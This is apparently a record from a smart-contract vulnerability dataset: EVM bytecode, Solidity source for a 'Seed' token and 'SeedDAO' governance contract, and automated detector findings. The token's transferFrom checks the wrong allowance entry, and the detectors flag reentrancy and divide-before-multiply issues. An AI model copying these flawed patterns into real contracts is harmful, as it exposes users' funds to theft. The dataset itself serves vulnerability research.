4d57600080fd5b8101908080519060200190929190505050146124d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f7661742d7374696c6c2d6c697665000000000000000000000081525060200191505060405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4b9fa756040518163ffffffff1660e01b815260040160206040518083038186803b15801561253b57600080fd5b505afa15801561254f573d6000803e3d6000fd5b505050506040513d602081101561256557600080fd5b8101908080519060200190929190505050905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156125f757600080fd5b505afa15801561260b573d6000803e3d6000fd5b505050506040513d602081101561262157600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156126dd57600080fd5b505af11580156126f1573d6000803e3d6000fd5b505050506040513d602081101561270757600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff167fc81bfec1ac9d038698c3b15fc900dafbff3af4b9f26062f895dd08a676ec78ae826040518082815260200191505060405180910390a25050565b600080821480612788575082828385029250828161278557fe5b04145b61279157600080fd5b92915050565b6000816127ae846127a98560016127be565b6127d8565b816127b557fe5b04905092915050565b60008282840391508111156127d257600080fd5b92915050565b60008282840191508110156127ec57600080fd5b9291505056fea265627a7a72315820b75b9403d44b604766d79c92423cca5da1b51925f342418106e5871563b209a164736f6c634300050c0032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,046
0x1ef4e71b962224bbf60e80a4c890f5567d00c5a5
pragma solidity 0.7.0; interface IOwnershipTransferrable { function transferOwnership(address owner) external; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); } abstract contract Ownable is IOwnershipTransferrable { address private _owner; constructor(address owner) { _owner = owner; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) override external onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Seed is Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; uint256 constant UINT256_MAX = ~uint256(0); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() Ownable(msg.sender) { _name = "Seed"; _symbol = "SEED"; _decimals = 18; _totalSupply = 1000000 * 1e18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint8) { return _decimals; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); if (_allowances[msg.sender][sender] != UINT256_MAX) { _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function mint(address account, uint256 amount) external onlyOwner { _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function burn(uint256 amount) external returns (bool) { _balances[msg.sender] = _balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, address(0), amount); return true; } } abstract contract ReentrancyGuard { bool private _entered; modifier noReentrancy() { require(!_entered); _entered = true; _; _entered = false; } } interface ISeedStake is IOwnershipTransferrable { event StakeIncreased(address indexed staker, uint256 amount); event StakeDecreased(address indexed staker, uint256 amount); event Rewards(address indexed staker, uint256 mintage, uint256 developerFund); event MelodyAdded(address indexed melody); event MelodyRemoved(address indexed melody); function seed() external returns (address); function totalStaked() external returns (uint256); function staked(address staker) external returns (uint256); function lastClaim(address staker) external returns (uint256); function addMelody(address melody) external; function removeMelody(address melody) external; function upgrade(address owned, address upgraded) external; } contract SeedDAO is ReentrancyGuard { using SafeMath for uint256; uint256 constant PROPOSAL_FEE = 10 * 1e18; event NewProposal(uint64 indexed proposal); event FundProposed(uint64 indexed proposal, address indexed destination, uint256 amount); event MelodyAdditionProposed(uint64 indexed proposal, address melody); event MelodyRemovalProposed(uint64 indexed proposal, address melody); event StakeUpgradeProposed(uint64 indexed proposal, address newStake); event DAOUpgradeProposed(uint64 indexed proposal, address newDAO); event ProposalVoteAdded(uint64 indexed proposal, address indexed staker); event ProposalVoteRemoved(uint64 indexed proposal, address indexed staker); event ProposalPassed(uint64 indexed proposal); event ProposalRemoved(uint64 indexed proposal); enum ProposalType { Null, Fund, MelodyAddition, MelodyRemoval, StakeUpgrade, DAOUpgrade } struct ProposalMetadata { ProposalType pType; // Allows the creator to withdraw the proposal address creator; // Used to mark proposals older than 30 days as invalid uint256 submitted; // Stakers who voted yes mapping(address => bool) stakers; // Whether or not the proposal is completed // Stops it from being acted on multiple times bool completed; } // The info string is intended for an URL to describe the proposal struct FundProposal { address destination; uint256 amount; string info; } struct MelodyAdditionProposal { address melody; string info; } struct MelodyRemovalProposal { address melody; string info; } struct StakeUpgradeProposal { address newStake; // List of addresses owned by the Stake contract address[] owned; string info; } struct DAOUpgradeProposal { address newDAO; string info; } mapping(uint64 => ProposalMetadata) public proposals; mapping(uint64 => mapping(address => bool)) public used; mapping(uint64 => FundProposal) public _fundProposals; mapping(uint64 => MelodyAdditionProposal) public _melodyAdditionProposals; mapping(uint64 => MelodyRemovalProposal) public _melodyRemovalProposals; mapping(uint64 => StakeUpgradeProposal) public _stakeUpgradeProposals; mapping(uint64 => DAOUpgradeProposal) public _daoUpgradeProposals; // Address of the DAO we upgraded to address _upgrade; // ID to use for the next proposal uint64 _nextProposalID; ISeedStake private _stake; Seed private _SEED; // Check the proposal is valid modifier pendingProposal(uint64 proposal) { require(proposals[proposal].pType != ProposalType.Null); require(!proposals[proposal].completed); // Don't allow old proposals to suddenly be claimed require(proposals[proposal].submitted + 30 days > block.timestamp); _; } // Check this contract hasn't been replaced modifier active() { require(_upgrade == address(0)); _; } constructor(address stake) { _stake = ISeedStake(stake); _SEED = Seed(_stake.seed()); } function stake() external view returns (address) { return address(_stake); } function upgraded() external view returns (bool) { return _upgrade != address(0); } function upgrade() external view returns (address) { return _upgrade; } function _createNewProposal(ProposalType pType) internal active returns (uint64) { // Make sure this isn't spam by transferring the proposal fee require(_SEED.transferFrom(msg.sender, address(this), PROPOSAL_FEE)); // Increment the next proposal ID now // Means we don't have to return a value we subtract one from later _nextProposalID += 1; emit NewProposal(_nextProposalID); // Set up the proposal's metadata ProposalMetadata storage meta = proposals[_nextProposalID]; meta.pType = pType; meta.creator = msg.sender; meta.submitted = block.timestamp; // Automatically vote for the proposal's creator meta.stakers[msg.sender] = true; emit ProposalVoteAdded(_nextProposalID, msg.sender); return _nextProposalID; } function proposeFund(address destination, uint256 amount, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.Fund); _fundProposals[proposalID] = FundProposal(destination, amount, info); emit FundProposed(proposalID, destination, amount); return proposalID; } function proposeMelodyAddition(address melody, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.MelodyAddition); _melodyAdditionProposals[proposalID] = MelodyAdditionProposal(melody, info); emit MelodyAdditionProposed(proposalID, melody); return proposalID; } function proposeMelodyRemoval(address melody, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.MelodyRemoval); _melodyRemovalProposals[proposalID] = MelodyRemovalProposal(melody, info); emit MelodyRemovalProposed(proposalID, melody); return proposalID; } function proposeStakeUpgrade(address newStake, address[] calldata owned, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.StakeUpgrade); // Ensure the SEED token was included as an owned contract for (uint i = 0; i < owned.length; i++) { if (owned[i] == address(_SEED)) { break; } require(i != owned.length - 1); } _stakeUpgradeProposals[proposalID] = StakeUpgradeProposal(newStake, owned, info); emit StakeUpgradeProposed(proposalID, newStake); return proposalID; } function proposeDAOUpgrade(address newDAO, string calldata info) external returns (uint64) { uint64 proposalID = _createNewProposal(ProposalType.DAOUpgrade); _daoUpgradeProposals[proposalID] = DAOUpgradeProposal(newDAO, info); emit DAOUpgradeProposed(proposalID, newDAO); return proposalID; } function addVote(uint64 proposalID) external active pendingProposal(proposalID) { proposals[proposalID].stakers[msg.sender] = true; emit ProposalVoteAdded(proposalID, msg.sender); } function removeVote(uint64 proposalID) external active pendingProposal(proposalID) { proposals[proposalID].stakers[msg.sender] = false; emit ProposalVoteRemoved(proposalID, msg.sender); } // Send the SEED held by this contract to what it upgraded to // Intended to enable a contract like the timelock, if transferred to this // Without this, it'd be trapped here, forever function forwardSEED() public { require(_upgrade != address(0)); require(_SEED.transfer(_upgrade, _SEED.balanceOf(address(this)))); } // Complete a proposal // Takes in a list of stakers so this contract doesn't have to track them all in an array // This would be extremely expensive as a stakers vote weight can drop to 0 // This selective process allows only counting meaningful votes function completeProposal(uint64 proposalID, address[] calldata stakers) external active pendingProposal(proposalID) noReentrancy { ProposalMetadata storage meta = proposals[proposalID]; uint256 requirement; // Only require a majority vote for a funding request/to remove a melody if ((meta.pType == ProposalType.Fund) || (meta.pType == ProposalType.MelodyRemoval)) { requirement = _stake.totalStaked().div(2).add(1); // Require >66% to add a new melody // Adding an insecure or malicious melody will cause the staking pool to be drained } else if (meta.pType == ProposalType.MelodyAddition) { requirement = _stake.totalStaked().div(3).mul(2).add(1); // Require >80% to upgrade the stake/DAO contract // Upgrading to an insecure or malicious contract risks unlimited minting } else if ((meta.pType == ProposalType.StakeUpgrade) || (meta.pType == ProposalType.DAOUpgrade)) { requirement = _stake.totalStaked().div(5).mul(4).add(1); // Panic in case the enum is expanded and not properly handled here } else { require(false); } // Make sure there's enough vote weight behind this proposal uint256 votes = 0; for (uint i = 0; i < stakers.length; i++) { // Don't allow people to vote with flash loans if (_stake.lastClaim(stakers[i]) == block.timestamp) { continue; } require(meta.stakers[stakers[i]]); require(!used[proposalID][stakers[i]]); used[proposalID][stakers[i]] = true; votes = votes.add(_stake.staked(stakers[i])); } require(votes >= requirement); meta.completed = true; emit ProposalPassed(proposalID); if (meta.pType == ProposalType.Fund) { FundProposal memory proposal = _fundProposals[proposalID]; require(_SEED.transfer(proposal.destination, proposal.amount)); } else if (meta.pType == ProposalType.MelodyAddition) { _stake.addMelody(_melodyAdditionProposals[proposalID].melody); } else if (meta.pType == ProposalType.MelodyRemoval) { _stake.removeMelody(_melodyRemovalProposals[proposalID].melody); } else if (meta.pType == ProposalType.StakeUpgrade) { StakeUpgradeProposal memory proposal = _stakeUpgradeProposals[proposalID]; for (uint i = 0; i < proposal.owned.length; i++) { _stake.upgrade(proposal.owned[i], proposal.newStake); } // Register the new staking contract as a melody so it can move the funds over _stake.addMelody(address(proposal.newStake)); _stake = ISeedStake(proposal.newStake); } else if (meta.pType == ProposalType.DAOUpgrade) { _upgrade = _daoUpgradeProposals[proposalID].newDAO; _stake.transferOwnership(_upgrade); forwardSEED(); } else { require(false); } } // Voluntarily withdraw a proposal function withdrawProposal(uint64 proposalID) external active pendingProposal(proposalID) { require(proposals[proposalID].creator == msg.sender); proposals[proposalID].completed = true; emit ProposalRemoved(proposalID); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637e8de02e116100ad578063d55ec69711610071578063d55ec697146106c2578063d979c4aa146106ca578063da6aaeab146106f0578063df7400cb14610716578063eb1ea9c6146107945761012c565b80637e8de02e146105b657806380a5bdfb146105dc578063a76cf56e14610602578063c28de2cd14610628578063d37b7fa6146106445761012c565b8063433a5a69116100f4578063433a5a69146103a25780634c01cb57146103aa5780636bda20341461045857806371fb7cf11461050d5780637586d6ce146105905761012c565b8063198743561461013157806319db3f2a146101cb5780631d6ec3561461024b57806331c5eec8146103195780633a4b66f11461037e575b600080fd5b6101af6004803603604081101561014757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561017157600080fd5b82018360208201111561018357600080fd5b803590602001918460018302840111600160201b831117156101a457600080fd5b5090925090506107c9565b604080516001600160401b039092168252519081900360200190f35b610249600480360360408110156101e157600080fd5b6001600160401b038235169190810190604081016020820135600160201b81111561020b57600080fd5b82018360208201111561021d57600080fd5b803590602001918460208302840111600160201b8311171561023e57600080fd5b5090925090506108ca565b005b6101af6004803603606081101561026157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561028b57600080fd5b82018360208201111561029d57600080fd5b803590602001918460208302840111600160201b831117156102be57600080fd5b919390929091602081019035600160201b8111156102db57600080fd5b8201836020820111156102ed57600080fd5b803590602001918460018302840111600160201b8311171561030e57600080fd5b509092509050611403565b61033f6004803603602081101561032f57600080fd5b50356001600160401b03166115bb565b6040518085600581111561034f57fe5b81526001600160a01b039094166020850152506040808401929092521515606083015251908190036080019150f35b6103866115f2565b604080516001600160a01b039092168252519081900360200190f35b610249611601565b6103d0600480360360208110156103c057600080fd5b50356001600160401b0316611720565b60405180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561041c578181015183820152602001610404565b50505050905090810190601f1680156104495780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61047e6004803603602081101561046e57600080fd5b50356001600160401b03166117d4565b60405180846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156104d05781810151838201526020016104b8565b50505050905090810190601f1680156104fd5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b6101af6004803603606081101561052357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b50909250905061188a565b610249600480360360208110156105a657600080fd5b50356001600160401b03166119a1565b610249600480360360208110156105cc57600080fd5b50356001600160401b0316611ac9565b6103d0600480360360208110156105f257600080fd5b50356001600160401b0316611bc9565b6102496004803603602081101561061857600080fd5b50356001600160401b0316611c48565b610630611d4d565b604080519115158252519081900360200190f35b6101af6004803603604081101561065a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561068457600080fd5b82018360208201111561069657600080fd5b803590602001918460018302840111600160201b831117156106b757600080fd5b509092509050611d5e565b610386611e5f565b6103d0600480360360208110156106e057600080fd5b50356001600160401b0316611e6e565b6103d06004803603602081101561070657600080fd5b50356001600160401b0316611ee9565b6101af6004803603604081101561072c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561075657600080fd5b82018360208201111561076857600080fd5b803590602001918460018302840111600160201b8311171561078957600080fd5b509092509050611f68565b610630600480360360408110156107aa57600080fd5b5080356001600160401b031690602001356001600160a01b0316612069565b6000806107d66003612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600560209081526040909120835181546001600160a01b0319166001600160a01b039091161781558382015180519193506108789260018501929101906122db565b5050604080516001600160a01b038816815290516001600160401b03841692507f339826f1c3d7b31c2395903a0738e18e4c9463f3d6749d47e35a9feb2344e8db9181900360200190a2949350505050565b6008546001600160a01b0316156108e057600080fd5b8260006001600160401b03821660009081526001602052604090205460ff16600581111561090a57fe5b141561091557600080fd5b6001600160401b03811660009081526001602052604090206003015460ff161561093e57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d009091011161096d57600080fd5b60005460ff161561097d57600080fd5b6000805460ff1916600190811782556001600160401b03861682526020819052604082209190825460ff1660058111156109b357fe5b14806109ce57506003825460ff1660058111156109cc57fe5b145b15610a6c57610a656001610a5f6002600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050506040513d6020811015610a5757600080fd5b505190612277565b9061229b565b9050610b7a565b6002825460ff166005811115610a7e57fe5b1415610ae957610a656001610a5f6002610ae36003600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610a2d57600080fd5b906122b4565b6004825460ff166005811115610afb57fe5b1480610b1657506005825460ff166005811115610b1457fe5b145b1561012c57610a656001610a5f6004610ae36005600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610a2d57600080fd5b6000805b85811015610dc55760095442906001600160a01b0316635c16e15e898985818110610ba557fe5b905060200201356001600160a01b03166040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015610bf457600080fd5b505af1158015610c08573d6000803e3d6000fd5b505050506040513d6020811015610c1e57600080fd5b50511415610c2b57610dbd565b836002016000888884818110610c3d57fe5b602090810292909201356001600160a01b03168352508101919091526040016000205460ff16610c6c57600080fd5b6001600160401b038816600090815260026020526040812090888884818110610c9157fe5b602090810292909201356001600160a01b03168352508101919091526040016000205460ff1615610cc157600080fd5b6001600160401b0388166000908152600260205260408120600191898985818110610ce857fe5b6001600160a01b0360209182029390930135831684528301939093526040909101600020805493151560ff199094169390931790925550600954610dba91166398807d84898985818110610d3857fe5b905060200201356001600160a01b03166040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015610d8757600080fd5b505af1158015610d9b573d6000803e3d6000fd5b505050506040513d6020811015610db157600080fd5b5051839061229b565b91505b600101610b7e565b5081811015610dd357600080fd5b60038301805460ff191660011790556040516001600160401b038816907f6085cc60943f0b976690a6f940d11a998d1a616c9469dc9196e763e342ca583f90600090a26001835460ff166005811115610e2857fe5b1415610f9f57610e36612359565b6001600160401b038816600090815260036020908152604091829020825160608101845281546001600160a01b03168152600180830154828501526002808401805487516101009482161594909402600019011691909104601f81018690048602830186018752808352929593949386019391929091830182828015610efd5780601f10610ed257610100808354040283529160200191610efd565b820191906000526020600020905b815481529060010190602001808311610ee057829003601f168201915b505050919092525050600a5482516020808501516040805163a9059cbb60e01b81526001600160a01b039485166004820152602481019290925251959650919092169363a9059cbb9350604480830193928290030181600087803b158015610f6457600080fd5b505af1158015610f78573d6000803e3d6000fd5b505050506040513d6020811015610f8e57600080fd5b5051610f9957600080fd5b506113f0565b6002835460ff166005811115610fb157fe5b141561103a576009546001600160401b038816600090815260046020819052604080832054815163791cbf9f60e11b81526001600160a01b0391821693810193909352905193169263f2397f3e9260248084019391929182900301818387803b15801561101d57600080fd5b505af1158015611031573d6000803e3d6000fd5b505050506113f0565b6003835460ff16600581111561104c57fe5b14156110b4576009546001600160401b0388166000908152600560205260408082205481516316d4489b60e11b81526001600160a01b0391821660048201529151931692632da891369260248084019391929182900301818387803b15801561101d57600080fd5b6004835460ff1660058111156110c657fe5b1415611341576110d4612383565b6001600160401b038816600090815260066020908152604091829020825160608101845281546001600160a01b031681526001820180548551818602810186019096528086529194929385810193929083018282801561115d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161113f575b5050509183525050600282810180546040805160206001841615610100026000190190931694909404601f810183900483028501830190915280845293810193908301828280156111ef5780601f106111c4576101008083540402835291602001916111ef565b820191906000526020600020905b8154815290600101906020018083116111d257829003601f168201915b505050505081525050905060005b8160200151518110156112b157600954602083015180516001600160a01b03909216916399a88ec491908490811061123157fe5b602002602001015184600001516040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b0316815260200192505050600060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b5050600190920191506111fd9050565b5060095481516040805163791cbf9f60e11b81526001600160a01b0392831660048201529051919092169163f2397f3e91602480830192600092919082900301818387803b15801561130257600080fd5b505af1158015611316573d6000803e3d6000fd5b50509151600980546001600160a01b0319166001600160a01b03909216919091179055506113f09050565b6005835460ff16600581111561135357fe5b141561012c576001600160401b03871660009081526007602052604080822054600880546001600160a01b0319166001600160a01b039283161790819055600954835163f2fde38b60e01b815291831660048301529251929091169263f2fde38b9260248084019382900301818387803b1580156113d057600080fd5b505af11580156113e4573d6000803e3d6000fd5b505050506113f0611601565b50506000805460ff191690555050505050565b6000806114106004612089565b905060005b8581101561147257600a546001600160a01b031687878381811061143557fe5b905060200201356001600160a01b03166001600160a01b0316141561145957611472565b600019860181141561146a57600080fd5b600101611415565b506040518060600160405280886001600160a01b03168152602001878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250505090825250604080516020601f88018190048102820181019092528681529181019190879087908190840183828082843760009201829052509390945250506001600160401b0384168152600660209081526040909120835181546001600160a01b0319166001600160a01b0390911617815583820151805191935061154b9260018501929101906123ad565b50604082015180516115679160028401916020909101906122db565b5050604080516001600160a01b038a16815290516001600160401b03841692507ffd08ecdf1b11b329fffd11e68af1d1f874ca2e56aa45a1e13065e6cc26373b2c9181900360200190a29695505050505050565b600160208190526000918252604090912080549181015460039091015460ff8084169361010090046001600160a01b031692911684565b6009546001600160a01b031690565b6008546001600160a01b031661161657600080fd5b600a54600854604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561166e57600080fd5b505afa158015611682573d6000803e3d6000fd5b505050506040513d602081101561169857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156116e957600080fd5b505af11580156116fd573d6000803e3d6000fd5b505050506040513d602081101561171357600080fd5b505161171e57600080fd5b565b6004602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b820191906000526020600020905b8154815290600101906020018083116117ad57829003601f168201915b5050505050905082565b60036020908152600091825260409182902080546001808301546002808501805488516101009582161595909502600019011691909104601f81018790048702840187019097528683526001600160a01b039093169590949192918301828280156118805780601f1061185557610100808354040283529160200191611880565b820191906000526020600020905b81548152906001019060200180831161186357829003601f168201915b5050505050905083565b6000806118976001612089565b90506040518060600160405280876001600160a01b0316815260200186815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b038416815260036020908152604091829020845181546001600160a01b0319166001600160a01b0390911617815584820151600182015591840151805192935061194b92600285019291909101906122db565b50506040805187815290516001600160a01b03891692506001600160401b038416917fc6befa0284988cf06a62f33e703b26fa8fe104aff100ff179eb9b02174018530919081900360200190a395945050505050565b6008546001600160a01b0316156119b757600080fd5b8060006001600160401b03821660009081526001602052604090205460ff1660058111156119e157fe5b14156119ec57600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611a1557600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611a4457600080fd5b6001600160401b03821660009081526001602052604090205461010090046001600160a01b03163314611a7657600080fd5b6001600160401b0382166000818152600160208190526040808320600301805460ff1916909217909155517f9253f303ac7bc301d8f26a3c594cf868be86bee4afd53c746f29cc0103a4274f9190a25050565b6008546001600160a01b031615611adf57600080fd5b8060006001600160401b03821660009081526001602052604090205460ff166005811115611b0957fe5b1415611b1457600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611b3d57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611b6c57600080fd5b6001600160401b0382166000818152600160209081526040808320338085526002909101909252808320805460ff19169055519092917f55b02b9855e513ee8f9281215332c8cf0f8304cadcdca4e1b3910609797103e691a35050565b6005602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b6008546001600160a01b031615611c5e57600080fd5b8060006001600160401b03821660009081526001602052604090205460ff166005811115611c8857fe5b1415611c9357600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611cbc57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611ceb57600080fd5b6001600160401b0382166000818152600160208181526040808420338086526002909101909252808420805460ff191690931790925590519092917fc7442600edbdac0b51781946ea453c6ec64fba32dc76e7e711cbe79a15ec5fec91a35050565b6008546001600160a01b0316151590565b600080611d6b6002612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600460209081526040909120835181546001600160a01b0319166001600160a01b03909116178155838201518051919350611e0d9260018501929101906122db565b5050604080516001600160a01b038816815290516001600160401b03841692507f29cd6c86b51064508c60d447e776b80d8c6f25603856be845b6a2abe192a00779181900360200190a2949350505050565b6008546001600160a01b031690565b60066020908152600091825260409182902080546002808301805486516101006001831615026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b6007602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b600080611f756005612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600760209081526040909120835181546001600160a01b0319166001600160a01b039091161781558382015180519193506120179260018501929101906122db565b5050604080516001600160a01b038816815290516001600160401b03841692507f29ff7ec46662ba30200783e0d6cbe17047c2ab7058785f9d441e8b21a88e25749181900360200190a2949350505050565b600260209081526000928352604080842090915290825290205460ff1681565b6008546000906001600160a01b0316156120a257600080fd5b600a54604080516323b872dd60e01b8152336004820152306024820152678ac7230489e80000604482015290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561210357600080fd5b505af1158015612117573d6000803e3d6000fd5b505050506040513d602081101561212d57600080fd5b505161213857600080fd5b600880546001600160401b03600160a01b80830482166001018216810267ffffffffffffffff60a01b19909316929092179283905560405191909204909116907fe1c41d4ba86fb17ee8e9f88a333876ca22e0d2940c46a544405bb18a6b932a5c90600090a2600854600160a01b90046001600160401b03166000908152600160208190526040909120805490918491839160ff19909116908360058111156121dd57fe5b02179055508054610100600160a81b031916336101008102919091178255426001808401919091556000828152600284016020526040808220805460ff19169093179092556008549151600160a01b9092046001600160401b0316917fc7442600edbdac0b51781946ea453c6ec64fba32dc76e7e711cbe79a15ec5fec9190a35050600854600160a01b90046001600160401b0316919050565b600080821161228557600080fd5b600082848161229057fe5b049150505b92915050565b6000828201838110156122ad57600080fd5b9392505050565b6000826122c357506000612295565b828202828482816122d057fe5b04146122ad57600080fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061231c57805160ff1916838001178555612349565b82800160010185558215612349579182015b8281111561234957825182559160200191906001019061232e565b5061235592915061240e565b5090565b604051806060016040528060006001600160a01b0316815260200160008152602001606081525090565b604051806060016040528060006001600160a01b0316815260200160608152602001606081525090565b828054828255906000526020600020908101928215612402579160200282015b8281111561240257825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906123cd565b50612355929150612423565b5b80821115612355576000815560010161240f565b5b808211156123555780546001600160a01b031916815560010161242456fea264697066735822122080803a5515c04a1c7376c40091ec3e34d629fe21f1c7523075a5dcc7c05ffedc64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
5,047
0x9d01f9708ef008f01acf3e7f621d0574736129c1
